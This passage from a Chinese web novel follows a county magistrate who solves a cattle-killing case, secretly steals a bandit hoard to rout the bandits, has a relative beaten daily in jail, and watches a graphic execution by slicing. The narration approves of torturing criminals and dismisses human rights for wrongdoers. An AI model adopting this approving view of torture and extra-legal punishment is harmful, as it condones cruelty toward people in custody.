他让甜桑给福旺富顺煮了两只鸡,又给那些小鸟们准备了不少谷物虫子。 之后就开始关注第三个案子。 第三个案子,是个老头家的牛被人杀了。 这个案子其实不难,云长歇先是让人打听了下,这个小老头跟谁家有仇怨。 确定了,对方只跟邻居有点纷争后,就让人给老头送了头牛。 他让人送牛过去的时候,特意大张旗鼓的过去的。 若是真的是邻居家所为,看到老头家的牛死后,官府给送了头牛过来,他们肯定会有些反应的。 事实上,还真的被云长歇料准了。 当天邻居就来了老头家里,邻居家的大媳妇有点发酸的说:“还是你们家有福气,牛死了,官府还给免费送牛。真好啊,你们家也算是因祸得福了,之前死牛的事情也该放下了。” 老头家的人没有吭声,牛不是官府真的送他们的,而是为了用来调查案子的。 他不敢多说什么,怕耽误了官老爷查案子。 对方看完了牛,就撇着嘴转身离开了。 她一回去,就在家里发起火来。 “这一家子,怎么运气这样好?本以为他们没有了牛,以后就没有办法活了,到时候就要求着我们,然后跟我们家借牛用的。” 她还想着,对方家那个大孙子呢。 那老汉家里的大孙子,是个哥儿,长得不错,她家儿子看上了。 之前会跟他们家闹矛盾,也是因为求娶不成闹了矛盾。 对方家里嫌弃她儿子长得丑,还是个好吃懒做的。 她心里记恨,就让家里男人把对方家的牛给打死了。 第70章 第 70 章 本以为出了一口恶气,结…… 本以为出了一口恶气, 结果没有想到,那小老头不仅报了官,官府还给免费送了头牛。 “你们说如果我们把自己家的牛给打死, 到时候报官会不会也能得到一头牛啊?” 说这话的人,正是这一家的大儿子,也就是打死老头家牛那人。 他们家的人听到这话,都忍不住眼睛亮了亮。 到时候他们把打死的牛卖钱, 又能够得到一个更好的牛, 岂不是一箭双雕的好事情? 得知他们家想要打死自家的牛, 然后去骗官府的牛时,云长歇就让人提前去了村里盯着。 打死牛, 不是小事情。 哪怕是夜里, 肯定也是有点动静的。 只要官府的人日夜盯着,很容易就能逮个正着。 普通人家是不能随便杀耕牛的, 这个是犯法的。 只有老牛,病牛,往上面申请了, 才能私自杀牛。 这一家人的牛好好的, 他们为了骗官府的牛才把牛给打死。 这样的情况,不仅犯了私自杀耕牛的罪,还有敲诈官府的罪。 有了这两个罪名,云长歇就能把他们提到县衙审问。审问的时候上点刑,他们自然什么都会招供了。 云长歇真的不算是,什么特别善良的人。 尤其是对待这样的恶人, 他从来不会讲究人权。 对恶人心软的人,只有是跟恶人一样的人。 因为他们看到恶人时,会忍不住跟恶人进行共情。 相反面对那些受害者, 他们这样的人往往是充满恶意的。 他们会想,这些受害者真坏啊,竟然不愿意乖乖被欺负,竟然还想要反抗他们? 在百分百确定没有抓错的情况下,对付恶人就没有必要那样客气。 更何况,大周的法律明确写了,是可以对罪犯动刑的。 只要云长歇不判错案,不冤枉好人,手段狠毒一点没有什么关系。 很快衙役就把那一家子带到了县衙,这一家子没有在自己家里杀牛,而是半夜拉到一个偏僻的地方杀的。 衙役特意等到他们开杀,这才大张旗鼓把人抓走。 抓人的时候,他们还让村子的人都知道了,这一家子私自杀牛的事情。 有一些反应快的村民,就忍不住小声议论起来。 “你们说,是不是他们家杀的刘老头家的牛?” “看样子应该是了,据说他们家跟刘老头家闹了矛盾。” “什么矛盾啊?” “就是他们家的大孙子,看上了刘老头家的哥儿。刘老头家的那个哥儿长得漂亮,根本看不上他们家的大孙子,两家就为此闹得不怎么愉快。” “就为了这点事情,就把人家的牛给杀了?真是造孽啊。” “谁说不是呢,要我说啊,还好刘老头当初没有答应这桩婚事,看那一家子的做派就知道不好相处。他们能一言不合就杀人家的牛,哥儿若是嫁过去还不知道遭什么罪呢。” …… 他们一家子被抓后,云长歇就让人审问了一番。 他们就是普通的农户,在村子里也许很蛮横,但是遇见了官府,就没有办法蛮横了。 对付这样的人,稍微吓唬吓唬,稍微上一点刑,他们就什么都招了。 在大周私自杀牛,杀自己家的,杖二十,刑一年。 杀别人家的牛,杖三十,刑三年,还需要赔偿二十两银子。 这一家子先杀别人家的牛,后来又想杀自己家的牛。 两头牛,主犯和主谋,判了杖三十,刑五年,赔偿二十两银子。 …… 解决了这个案子,云长歇稍微的休息了一下。 最近他忙得都没怎么休息,如今是真的有些累了。 他们一家回到秋平县,就住进了县衙后面的院子。 这个院子,以前是云家三房住的。 三房在这边住了很久,院子就被修整的很漂亮。 这段时间云长歇都在前面县衙忙碌,偶尔回后院也没有时间陪伴家人。 把前面三个案子处理好了,他就想要挤出点时间休息下。 苏青箬好几天没见到他了,今天突然看见他从前面回来还挺惊喜的。 云长歇冲着他笑了笑,“下午我休息下,可以陪陪你和孩子。” 苏青箬闻言有点无奈,他和孩子都有下人照顾,根本不需要云长歇陪着。 他见云长歇是真的累了,就伸手推着他去了房里休息。 两个人回到房里,苏青箬见云长歇躺下了,就打算去厨房那边看看。 这几天云长歇忙来忙去的,估计连饭都没能好好吃。 云长歇却没有让他走,云长歇伸手拉住了他的手,就想要好好的抱一抱他。 苏青箬的脸颊有点热,却不舍得推开自己家夫君。他最喜欢的事情,就是待在夫君的怀里,然后听夫君不急不慢的,跟他讲外面发生的事情。 云长歇其实不是个喜欢说话的,但是自从他们两个人在一起后,他就慢慢的开始变得爱说话了。 云长歇先是跟苏青箬说了,最近他调查案子的事情。 说着说着,云长歇突然提起了给苏青箬找大夫看病的事。 “之前说好了,要给你看看嗓子的,一直没有找到时间。我晚上跟娘说一声,让她帮你找一找。县里不见得有好大夫,我们先一边找一边碰运气。若是在这边找不到好的,等我们换个地方就继续找。其实最好的还是去京城,找京城宫里的太医。可惜之前在京城时,我忙着科举的事情,也没有那个本事给你找宫里的太医。” 那个时候的云长歇,还算是寄人篱下的小可怜。 他想要找太医给苏青箬看病,最好还是他自己有一点地位,那些太医才能真的愿意上心。 苏青箬摇了摇头,不着急的。 他已经习惯了,这样也没有什么不好。 云长歇不会嫌弃他,婆母也不会因此欺负他。 他的哑病能不能好,对于他来说没有太大区别。 次日云长歇继续忙碌,柳氏就让箐珊去县里寻一寻有没有好些的大夫。 苏青箬的事情,徐家人曾经帮忙看过,说是天生有一点难办。 柳氏觉得可以先多找几个大夫过来看看,至于能不能治还是看了才能知道。 每个大夫擅长的不一样,说不定他们找着找着,就能找到个会治哑病的?【你现在阅读的是 】 70-80 第71章 第 71 章 柳氏给苏青箬找大夫比较…… 柳氏给苏青箬找大夫比较谨慎, 一般都会先打听一下医术如何,才会上门问大夫能不能过来看诊。 苏青箬是个夫郎,又不会说话, 柳氏就不放心他自己去看病。 所以之后给他找大夫时,都是宁愿多出钱让人家来家里看诊。 这样呢,她全程都能在一旁看着,也不担心苏青箬被人欺负哄骗了。 在柳氏慢慢寻找好大夫给苏青箬看病的时候, 另一边的云长歇在着手最后一个案子。 最后一个说是案子并不对, 已经发生的事情叫做案子。不确定发没发生的, 还是那个小伙自己的猜想,这样的情况还真的不大好说。 所谓“抓贼拿脏”“捉奸在床”, 那小伙怀疑他媳妇跟人相好, 却不知道那个男人是谁。也就是说,他根本没有亲眼见过。 那云长歇要怎么确定, 是真的有这件事情还是他臆想? 有不少男人自己窝囊,性格自卑,因为自己不够自信, 就容易怀疑媳妇偷情。 这样的事情, 云长歇以前看过不少的案例。 看见有男人怀疑妻子偷情,没有证据的情况下,就把孩子打死的。 虽然知道他不应该有偏见,但是因为见过很多这样的情况,他还是下意识觉得是对方多想了。 不过人家都报到官府了,就算没有他也应该查一查。万一真的有呢, 到时候会让官府的信誉有损。 查这样的还不确定的偷情案,是不适合大张旗鼓的调查的。 万一人家没有偷情,会对女方造成很大的影响。 云长歇想了想, 就决定让富顺去镇子上转转,让镇上的小动物帮忙盯着。 盯了三天后,并没有发现什么可疑的地方。 那小伙子的妻子,确实每天偷偷摸摸出去。但是对方不是去偷情的,而是去卖自己绣的帕子。 云长歇见状,就让陈猎户带着富顺继续留在寻乡镇。 富顺可以继续盯着,陈猎户就去附近打听一下小伙家里的情况。 陈猎户是衙役,几乎他问什么别人就答什么,没有什么人敢对衙役撒谎的。 很快又过了两日,陈猎户就带着富顺回来了,也摸清楚了那家人的情况。 富顺依旧没有发现偷情的迹象,那女子每次出去都是为了卖绣帕,她接触的人不是女人就是些哥儿。 陈猎户那边打听到,小伙一家比较穷困。小伙的母亲,是个刻薄的,她不喜欢儿媳妇出门。小伙妻子偷偷跑出去,就是害怕被婆婆知道。 这一下子,事情大概就算明了了。 就是一个贫苦的人家,儿媳妇没有钱花用了,在偷偷绣帕子赚钱花。 然后婆婆不喜欢她外出,她男人也怀疑她在外偷情。 说实话,待在这样的家里,这个女人也是挺能忍的。 之后,云长歇让人把他们夫妻带来了县衙,然后把这些日子的调查跟小伙说了。 云长歇说这些的时候,是当着小伙妻子说的,这件事情她应该知道。 小伙听到云长歇说,妻子是为了赚钱才偷偷跑出去卖东西时,表情看起来还是有点不相信的。 但是他畏惧云长歇是官老爷,就算不相信他也不敢说出来。 小伙跪到云长歇面前,开口谢道:“多谢老爷帮草民调查,既然是个误会,草民回去之后,会和妻子好好过日子。” 小伙的妻子自始至终都没说过话,这种性格唯唯诺诺的古代女子,几乎不知道什么叫做反抗。 哪怕被夫君误会,还差点有牢狱之灾,她的反应也都是木木的。 哎,云长歇也不知道该怎么帮她? 他能够做到的就是,告诉她这件事情。 如果她自己都不愿意反抗,她自己都不在乎自己。 云长歇身为一个外人,在小伙一家没有犯罪的情况下也没有办法。 看着小伙把人带走了,云长歇忍不住长长叹了一口气。 没有了案子要处理,云长歇开始了白天去上值,晚上回家陪夫郎孩子的生活。 只可惜没能平稳多久,就因为两件事情再次忙碌了起来。 第一件事情,那就是主角攻来了秋平县。 主角攻来不来的,这个云长歇现在根本不害怕。 就算主角攻的身份高,如今苏青箬是他的夫郎。 他们两个人现在就是陌生人,苏青箬就算不小心遇见了主角攻,也不会如同小说里那样爱上对方。 让云长歇忙碌的是,他身为当地的父母官,需要保证对方的安全。 但是偏偏就是这样巧,一个本该两年后才发生的事情,却因为某些原因提前发生了。 那就是秋平县要闹匪了。 小说里,匪乱发生在两年后的秋天。 如今却突然出现,也不知道是不是因为秋平县换了县太爷的原因? 秋平县驻军只有二十人,想要对付那群山匪估计挺困难的。 山匪是从其他地方过来的,小说里他们想在汐林山当土大王,就在汐林山的山下进行烧杀劫掠。 山匪总共大概有上百人,云长歇就算现在去隔壁县借兵,也没有办法一口气把他们拿下。 云长歇会知道要闹匪,是因为最近福旺富顺出去玩野了。 它们总是闹着陈猎户带它们出去,刚好陈猎户平日里要出去巡视,就把两只天天带在身边四处溜达。 小猫小狗之间可以互相交流,福旺就从一个跟主人来县城的小狗那里得知了,他们乡下最近来了不少生面孔这件事情。 云长歇觉得蹊跷,就让新养的那群小鸟去乡下看看。 然后有一只小家伙跟他说,汐林山里有不少的外来者。 他们带了不少东西,还有云长歇很喜欢的亮晶晶的东西。 云长歇喜欢的亮晶晶的东西就是银子。 之前云长歇盘账的时候,有几只小鸟就在他跟前,便知道了他喜欢银子。 云长歇看过小说,知道在小说里,山匪就是靠着那些劫掠来的银子,后来买了大量的粮食,衣服,以及武器。 最主要的就是武器,正是因为那些非法得来的银子,让他们从一些百姓手里弄到武器。后来秋平县的百姓,才会遭了长达一年的欺凌。 得知那些小家伙们,发现了山匪带来的银子,云长歇突然有了个主意。 这些山匪是被其他地方赶跑的,他们跑路的时候很多武器都丢弃了。 所以他们来到秋平县的时候,身上只带了最贵重的银子。 如果……云长歇把他们的银子全部偷了? 反正他们的银子也不是自己的,而是从其他百姓的身上抢来的。 云长歇把他们的银子偷了,用来发展秋平县,或者是施粥救助百姓,也要比留着给山匪要好。 至于为什么不归还百姓? 首先他不清楚,这些银子都是哪些百姓被抢的。 其次就是他归还的时候,肯定会有不少人冒充。 为了归还银子,为了防止百姓冒充,这需要的人力,精力,不知几何。 以往遇见这样的情况,山匪的银子都会充公。 充公之后,银子会落入国库,还是落入贪官手里,这个也是一个未知数。 与其那么的麻烦,且出力不讨好的,倒不如云长歇自己用。 他用至少大多数银子都会用在百姓身上,要比养肥那些肥头大耳的贪官好多了。 这样想着,云长歇就把那群小鸟都叫了过来。 他要赶在山匪买武器之前,提前把那些银子都给转移了。 第72章 第 72 章 云长歇这两年身体好了很…… 云长歇这两年身体好了很多, 已经不再是那个病弱的状态。 但是他身体不病弱了,不代表他就很厉害。 读书人就是读书人,读书人大多数时间都花费在读书上, 自然比不过那些靠体力生活的。 这一点上,不管他如何服用灵泉水,也是没有办法改变的。 云长歇想要转移山匪的银子,这件事情他没办法亲自去做, 就要找两个非常信任的人去。 为什么非要是两个? 首先山匪的银子绝对不少, 银子的重量不轻, 千两银子就有一百斤。 这些山匪大老远跑来,带着的银子绝对不止一千两。 若是他们的银子太多, 仅凭一个人是很难快速转移的。 但是如果去的人太多, 目标太大了,很容易被山匪发现。 到时候别说是银子了, 说不定人也要留在那里。 汐林山是秋平县的地盘,这些新来的山匪对汐林山还不算熟悉。 如果云长歇找个熟悉汐林山的人去,再加上有福旺它们这些小家伙打配合, 想要把山匪的银子给转移走并不难。 更何况, 小鸟们说了,看守银子的山匪人不多。 大多数的山匪,不是在了解汐林山的情况,就是在了解附近村子的情况。 他们想要从百姓手里收武器,百姓手里的武器大多数是柴刀,菜刀。 这些刀的刀柄太小, 他们收了之后,还需要找铁匠打造更好用的武器。 这些事情有够他们忙的,而银子也不方便让太多山匪知道, 省得手底下的人会为了银子背叛。 所以藏银子的地方,看守的人不多,位置也十分的隐蔽。 云长歇想要陈猎户去,再让他挑选一个聪明的帮手。 两个人趁着夜色进山,到时候把山匪的银子给偷了。 陈猎户,云长歇是信得过的。 至于另一个人,还真的挺不好选的。 最好是对大山熟悉的,才能不给陈猎户拖后腿。 云长歇找陈猎户商量这事时,陈猎户就想到了一个老朋友。 他想让对方跟自己去,首先他们两个人是好朋友,又都是大山里长大的,对于汐林山比任何人都要了解。其次就是,这是一个建功立业的好机会,也许对方可以靠着这一次,跟着他以后跟在云长歇身边混。 找到了合适的人选,他们第二天夜里就上山了。 是富顺带着他们上山的,富顺以前也是大山里的,自然对汐林山比较熟悉。 它又是一只猫,黑夜就是猫最好的保护色。 它在黑夜里,可以无声无息的出现在任何地方。 最近富顺都是跟着陈猎户的,陈猎户也知道富顺比较的聪明,见富顺可以带着他们寻找银子,他也没有觉得事情有多么奇怪。 他家大黑没死之前,也是十分通人性的。 只可惜,后来大黑年纪大了没了,不然说不定大黑也能跟富顺一样协助他们进山呢。 陈猎户带着他好友,两个人一路很小心的往山上走。 富顺走在最前面,旁边还跟了一只山猫。 因为不能用火把,他们这一路走得很慢很小心。 等到距离山匪的地盘越来越近的时候,他们往前走的速度就更加慢了。 这个时候,已经是子时了。 很多山匪都已经睡着,他们从外围了解了一下山匪的情况,然后就绕过他们去了藏银子的地方。 山匪把银子藏的很隐蔽,要不是他们有小猫帮忙,还真的不好找到位置。 看守银子的一共三个人,他们一直等到其中一个人去撒尿,这才无声无息朝着剩下两个靠过去。 有富顺在前面吸引山匪注意力,他们很顺利就把两个山匪敲晕了。 然后富顺与山猫去把风,他们就去搬运藏起来的银子。 不得不说,这些山匪是真的有钱,光是银子就有一整箱。 除了银子,还有很多珠宝,玉器,不知道劫掠了多少人家。 陈猎户与好友没时间感慨这么多宝贝,就连忙背着找到的东西跑路了。 他们对山里很熟悉,一路安全的抵达了山脚下。 按道理来说他们都下山这么久了,那个去撒尿的山匪应该已经发现银子不见了才对。 但是他们抬头看了看大山,山里完全没有任何反应。 为了防止这些山匪,在发现银子不见之后,对山下的百姓动手。 他们进山的时候,县里的驻军,衙役,与镇上的镇守就已经做好了准备。 他们的人数不算很多,但是却个个持有武器。 山匪的人数很多,一个个穷凶极恶,但是现在却没有武器。 只要他们这边团结起来,想要对付山匪也不算很难。 至少要比,等到山匪攒够了武器的时候好对付。 但是陈猎户他们下山了,大山里面依旧十分安静,他们就觉得有一点奇怪。 陈猎户不知道的是,在他们进山的时候,云长歇把那两条蛇也放进了山里。 蛇,在山里要比人跑的快。 那个去撒尿的山匪,在去撒尿的时候被蛇咬了。 蛇是毒蛇,虽然不如五步蛇那样毒,但是它们的毒也挺麻烦。 若是不及时治疗,身体会出现麻痹,精神也会出现不正常。 那山匪被咬后,第一时间就去其他山匪那边求救去了。 大家忙着给他治疗,暂时就没有发现银子丢了的事情。 随后,山里的其他毒蛇也袭击了山匪的人。 为了应对这些突然发疯的毒蛇,山匪还不知道银子丢了的事情。 一直等到银子到了云长歇手里,也就是天快要亮的时候,山匪才发现他们银子丢了。 云长歇也来了汐林山,他虽然不会武功,身体素质也不好。但是县里出现了这么多山匪,他们把山匪的银子给偷了,之后山匪肯定要大闹一场。 为了保护县里百姓的安全,他这个当县令的必须在场。 云长歇看着面前的一大堆宝贝,从里面拿出了两百两银子给了陈猎户两人。 陈猎户见状连忙说道:“大人,小人不敢收。” “收着吧,今天的事情有多凶险,你两个人比谁都要清楚。你们两个不仅是为我办事,也算是为了秋平县百姓了,这些理应是你们两个应得的。” 陈猎户想了想,收下了他那一百两银子。 他的朋友见状,也老实的把银子收下了。 之后云长歇又从中拿出了五百两,让陈猎户去隔壁一个县借兵。 有了银子铺路,加上山匪危害很大,对方肯定会愿意借兵的。 云长歇用山匪的银子铺路借兵打山匪,若是让山匪知道了估计要被气死的。 好在,这种事情,云长歇不会让更多的人知道。 他把那些东西全部藏了起来,就开始着手对付山匪的事情。 首先要通知汐林山旁边的几个村子,让老弱妇孺统统转移到安全的地方。 剩下的年轻力壮的男丁们,纷纷举起菜刀,柴刀,与家里的农具,他们要一起抗击下山的山匪。 所以等到山匪发现银子没了,一群人气呼呼跑下山的时候,看见的就是县衙的人带着百姓,正虎视眈眈的默默等待着他们。 山匪也不怂,他们都是一些刀口舔血的。 就算那些百姓带着武器,他们也觉得这些人不足为惧。 但是当他们真的动起手来,就发现这些百姓有官府带着,也没有他们想象中那么废物。 官府的衙役会武,县里有几十驻军,加上这些年轻力壮的农户。 更让山匪没有想到的是,这些人里面还有几个护卫,一个个都十分身手不凡。 为了以防万一,云长歇把主角攻也吸引到了汐林山了。 主角攻现在的身份,就是个普通的商户。 当然了,他表面上是个商户,私下里肯定带着护卫。 那些护卫都是百里挑一,若是主角攻在这里遇见危险,护卫们肯定会全力抵抗的。 说来,云长歇身为地方官员,应该保护身为世子的主角攻的。 结果他不仅不保护,还反过来利用主角攻,可以说是把一切能利用的都利用了。 在有几个身手了得的护卫的帮助下,那些没有武器的山匪就好对付很多了。 加上傍晚的时候,隔壁县的驻军赶来帮助,大家齐心协力,很快就击败了这些山匪。 山匪总共一百余号人,其中死二十一,伤三十,逃了六个,剩下的都被活捉了。 成功的剿匪上百人,这是大功劳一件。 云长歇很会做人,上报朝廷的时候没有一个人居功,而是把隔壁县的县令给捎带上了。 他也没有提,他能请动隔壁县的驻军花费了五百两银子,更没有提山匪身上那些银子。 至于山匪嘴上说什么,他们的银子被偷了这种事情。 只要云长歇不承认是他拿的,只要知情的陈猎户两人不说,那么这件事情就跟他们没关系。 为了邀功,为了升迁,收了银子的隔壁县县令,更不会在这个时候胡说八道。 等朝廷奖赏这段时间,云长歇带着人给受伤的百姓治疗,还给了不少的抚慰金。 因为没有人死,受伤的人,县衙不仅帮忙医治还会给银子,那些百姓们还挺开心的。 第73章 第 73 章 这一次剿匪,没有百姓遭…… 这一次剿匪, 没有百姓遭难,算是大功一件。 本来以云长歇的功劳,他是可以直接升一升的。 但是剿匪与其他不同, 云侍郎觉得还是压一压云长歇的锋芒比较好。 所以当皇帝提出要给云长歇升官时,云侍郎就代替云长歇委婉拒绝了。 云侍郎:“长歇那孩子还年轻,这一次只是他运气好,他现在也没有什么功绩, 若是立刻就给他升个官, 之后估计容易心浮气躁。” 皇帝闻言觉得有道理, 年轻人嘛,就是要多出去看看, 才能做出一番成就。 云家根基浅, 在朝中没有什么关系好的世家,又是皇帝自己的人。 如果可以的话, 他还是希望云家多几个有本事的能人的。 当皇帝,玩的就是个制衡之术。 朝着势力很多,很杂, 其中最有权势的就是那些老牌世家了。 都说流水的皇帝, 铁打的世家。 一些老牌世家,根深蒂固的。 就算易朝换代了,他们也能靠着资本延续下去。 这样的世家贵族,对皇帝来说存在着威胁。 很多皇帝上位后,就喜欢扶持一些依附于他的寒门。 寒门根基浅,跟其他世家关系是对立。 这样的寒门, 往往没办法,也没有实力有二心。 云家也算是寒门出身,哪怕现在已经有好几个当官的了, 实际上跟那些真正的世家相比,如今的云家是根本不够看的。 就比如身为皇亲的虞家,今年光是进士就有六个。 这还只是一年出的,若是加上往年的与在朝为官的,大大小小加起来有大几十人。 然后就是老牌世家,屈愚李家。 李家出过太傅,还出了三个状元。 如今李家在朝为官的,大多数都在工部与礼部。 这些世家,嘉业丰厚,子嗣比较多。 有钱,有田,还有一大堆孩子。 他们自己有私塾,自然要努力培养各方面的人才。 但是一个家族的势力太大了,当官的人太多了,就会让皇帝觉得有威胁。 皇帝没有给云长歇升官,云长歇也没有觉得可惜。 相较于这么短时间里就升官,他还是想要更加稳扎稳打一些。 还有一个好消息,他没能升官,皇帝就给了不少赏赐。 这些赏赐都是给他的,他是可以收入囊中的。 皇帝赏了他白银二千,还赏了一对金簪,一块玉佩,以及一堆的绫罗绸缎。 赏赐是在十一月送来的,一大堆的东西送到了县衙后院。 云长歇的手里不缺钱,那两千两银子就给了柳氏与苏青箬一人一千两。 以后他们出去走动,送礼,或者家用,手里多些银子才能有底气。 然后是那一对金簪,金簪给了苏青箬当牌面。 玉佩就给了柳氏。 那些绫罗绸缎有很多,光是上好的云锦就有十几匹。 云长歇先带着苏青箬选了他喜欢的,剩下的就让柳氏这个掌家的管着。 苏青箬本来还挺不好意思的,他觉得他也不缺衣裳,没有必要特意选上几匹。 但是云长歇在一旁看着,一直催促着他过去选一些,他还是上前挑选了四匹。 他选了两匹云锦,一匹胭脂色的,给他们家楼哥儿做衣服。 另一匹,他选的是素净一点的浅绿色,是给他自己选的做衣服用的。 选了两匹云锦,他又选了两匹重锦。 一匹烟霞色,一匹淡紫色。 一匹布,就能做好几套衣服,他选了四匹足够用了。 等到甜桑把四匹布抱走,剩下的就被柳氏送到了库房。 因为那些布还挺多的,柳氏就带着人一边入库一边细细记录下来。 柳氏一边记录一边对箐珊道:“一会你把这一匹葱绿色的,与那一匹桃粉色的,拿给艾草与山樆他们。他们现在也不小了,到了要说亲的时候,是该好好打扮打扮的。” 说完,柳氏看了箐珊一眼。 “你也挑一匹自己喜欢的。” 箐珊听到这话道了一声谢,她也不跟柳氏客气什么,从里面选了一匹喜欢的。 之后她抱着柳氏说的那两匹布,就送到了艾草与山樆的房间。 如今艾草与山樆年纪大了,两人就没有像以前一样住一个房间。 箐珊把布送过去,见他们两个身边连个伺候的下人都没有。回去的时候,她就跟柳氏提起了这件事情。 柳氏也觉得,该给他们安排个下人了。 以后他们出去走动,有一个下人在身边照顾,也不用担心被人欺负了。 这样想着,她记完账,就把梁婶叫来。 梁婶现在年纪也大了,柳氏想着梁婶是老人,以后云长歇肯定给她养老。 不如趁着这个机会,再给家里多买几个下人,然后就让梁婶以后歇着了。 柳氏把梁婶叫过来,就是询问他们这一次买几个下人合适。 梁婶想了想,“就先买四个吧,也不适合买太多,以公子现在的情况,在这边也不会久待。若是带着太多的下人,以后换地方也不方便。” 买下人的时候,柳氏带着艾草他们去的牙行。 给他们两个买贴身奴仆,自然要挑选他们喜欢的。 艾草没有想到,自己有一天还能当上主子,去牙行的时候一直很兴奋。 然后就在他挨个选人的时候,听到了一个意想不到的声音。 声音的主人,是他的弟弟,也就是苏旺祖。 如今的艾草,山樆,已经长大了。 同样的,苏旺祖也成了个少年人。 他会出现在县城,是因为他最近在城里做了点小生意。 后来听说苏青箬他们住在县衙,他就想要蹲守在县衙后门看看,能不能有机会见一见哥哥姐姐。 然后他就看到了,柳氏带着艾草他们坐马车出了门,他就一路跟着来到了县城牙行。 一开始他没有认出来艾草与山樆,还是听到旁边的下人叫他们名字,他这才敢追上去叫住他们两个人的。 艾草看到苏旺祖就皱眉,“你来县里做什么?” 山樆的反应更加激烈,“你,你是不是跟踪我们?” 苏旺祖连忙解释道:“三哥,四姐,你们不要害怕,我不是来找茬的,我就是好久没见你们了,所以心里有一点想念你们。” 这话他们可不相信,不等艾草开口再说什么。 远志就走到了他们跟前,一脸不悦的看着苏旺祖道:“苏旺祖,你说话注意一点啊,他们是我们家的公子与小姐,跟你们苏家可没半点关系。” “我们只是跟大哥断亲了,又不是跟三哥四姐断亲。如今三哥,四姐年纪大了,也该回家说亲了。他们是我们苏家的人,他们的婚事自然是我父亲爹爹说的算。” 山樆一听到这话,立刻忍不住叫了起来。 “你胡说什么?我们的婚事跟苏家没有关系,我们是不可能跟你回去的。” 苏旺祖一听到这话,就直接往地上一趟,然后开始大声哀嚎起来。 “哎哟喂,不得了了啊,县太爷强占我们家哥儿姑娘了喂。没有天理了,没有王法了,强娶了我大哥不算,如今又要霸占我三哥四姐!” 艾草闻言一开始没有反应过来,等到反应过来气得整张脸都红了。 他就没有见过这样不要脸的,他们跟哥夫根本什么关系都没有。 哥夫对待他们两人,就像是对待孩子一样。 结果这个人,颠倒黑白,竟然说他们被哥夫强占了? 艾草受不了了,上去就给苏旺祖一个大嘴巴子。 “让你胡说八道,让你胡说八道!” 远志见状也上去打人,让苏旺祖根本没有机会造谣。 很快,县衙的人就知道了这件事情,来了两个衙役把人带走了。 说实话,如果苏旺祖不自己送上门,云长歇根本就没有想起他。 如今看到苏旺祖自己送上门,刚好他想要改一改秋平县的一些歪风邪气。 为了治这些喜欢造谣的风气,他就拿着苏旺祖好好开个刀。 苏旺祖被抓了之后,云长歇也没有去审问他,而是让陈猎户过去打他。 每天都过去打他十大板,像是钝刀割肉一样慢慢的来。 打到人乖了,听话了,云长歇这才抽空去见了他一面。 经过了十来天的折磨,此时的苏旺祖早就变乖了。 苏旺祖一看见他,就哭着喊道:“我父亲呢,我爹呢?我要见他们,我要回家。” 云长歇闻言没有吭声,苏旺祖被官府抓了,苏家那边肯定是知道的。 这十来天里,苏家过来要过人。 不老实的被打了,老实的就被赶回去了。 云长歇不会因为苏旺祖造谣就杀了他,但是也不会这么容易就放过他。 小说里,这位小舅子可是做过太多恶事了。 他要好好给改一改性子,省得他以后继续祸害其他人。 第74章 第 74 章 本来说好的,等到秋后把…… 本来说好的, 等到秋后把那个王家老大,与牢里的死囚犯清一清的。 结果没有想到,他们的县衙大牢里的死囚不多, 只给两三个人行刑没有必要。 刚好那个时候,云长歇也有其他的事情要忙,事情就往后拖到了腊月初三。 到时候拉到菜市口行刑,会有很多县城的老百姓过来观看。 云长歇想着, 这个小舅子也没有什么事情, 到时候也拉上他去观赏观赏。 至于在此期间, 苏旺祖人怎么办? 自然是,老实的待在大牢里了。 云长歇好不容易逮到他一回, 肯定不会让他这么容易跑的。 腊月初三这一天, 一大早县衙的人就聚集到菜市口,在菜市口搭了一个行刑的台子。 牢头会拉着要行刑的囚犯, 在附近的几条街上进行游行。 这囚犯都带着镣铐,枷锁,被衙役们押送着慢慢游街示众。 领头的衙役, 会一边敲锣一边告诉百姓囚犯的行刑时间。 一些喜欢凑热闹的, 胆子大的百姓,就会聚集到菜市口。 一般都是正午行刑,砍头的话会很快。 其他刑罚,比如鞭刑,杖刑,极刑之类的就要复杂一些。 这一次行刑, 一共有六个死囚。死囚就是注定要死的犯人,会与其他犯人特意隔绝开。 除了这些死囚犯,还有一些不用死, 但是也要当众行刑的。 比如一些盗贼,抢劫的,山匪之类的。 因为还不到死刑,但是犯的罪有恶劣影响,也会拉出来当众行刑。 云长歇是快要到正午时过去的,等到他落座,看了看时辰,差不多了就会让侩子手行刑。 这个时候,是先砍那些死囚。 王家老大也是死囚,不过由于他的案子影响恶劣,云长歇要拿他来杀鸡儆猴。 他这个人,是要处以极刑的。 云长歇扔下斩首的令牌,那五个死囚一个个被砍了。 死囚的亲人朋友们见状,一个个又是激动又是哭泣的。 紧接着就是王家老大了,他们家的人也十分的激动。 只可惜,不管他们如何的激动,也没有其他百姓更激动。 畜生尚且知道,不残害幼崽的。 他连畜生都不如,不仅残害还qj。 就像是牲口一样,看到个树洞就开始发情。 说他是变态,都是抬举他了。 这样的人,就是个烂肉,还不如一个屁。 王家老大也很激动,他很生气,还想要反抗。 是的,看到旁边那几个人的脑袋掉了,他这个时候忍不住开始害怕了。 他与他们还不一样,他们是死了个痛快的,他这个要慢慢被折磨死。 这一点,就像他折磨那些小动物时一样。 就像是真的有报应一样,如今他的报应来了。 云长歇见他还敢反抗,就让衙役把他的腿打断了。 在古代像他这样犯下滔天大罪的,还敢公然抵抗官府的行为,就是抽筋剥皮都不为过。 看着王家老大腿被打断,之后还要被处以极刑。 除了一些心肠柔软的,胆子小的百姓看不得。 其他的百姓们,都是十分高兴的。 只有这样的坏人都死了,他们这样老实本分的百姓才不会受到伤害。 云长歇全程冷眼看着,偶尔还会看一眼不远处被迫观看的苏旺祖。 苏旺祖早就吓傻了,从他看见那些犯人被砍掉脑袋开始,他就已经吓得尿了出来。 看守他的衙役一脸的嫌恶,忍不住捂住鼻子骂了他两句。 等到看到那个什么犯人竟然要被割肉,苏旺祖胆子小,就眼睛一翻昏迷了过去。 衙役见状问道:“大人,他怎么办?” “带回去吧,之后就把他放了。” “是。” 不管如何,苏旺祖都是苏青箬的亲弟弟。 如今的苏旺祖还没有做出,小说里面那些令人恶心的事。 他不能因为苏旺祖造谣,就真的把苏旺祖给杀了。 只希望吃了这一次的教训,以后苏旺祖能够学的乖一点,不要总是想着出来恶心人。 极刑,要割九百九十九刀。 王家老大只熬了一百六十刀就不行了。 云长歇见状也不想看了,他毕竟不是王家老大这样的人。 对于这样血腥的画面,他还是有点受不了的。 之后的行刑,就没有死刑了。 剩下的几个犯人,都是挨鞭刑,或者杖刑。 挨打的都是一些穷凶极恶之徒,围观的百姓们看得还是挺开心的。 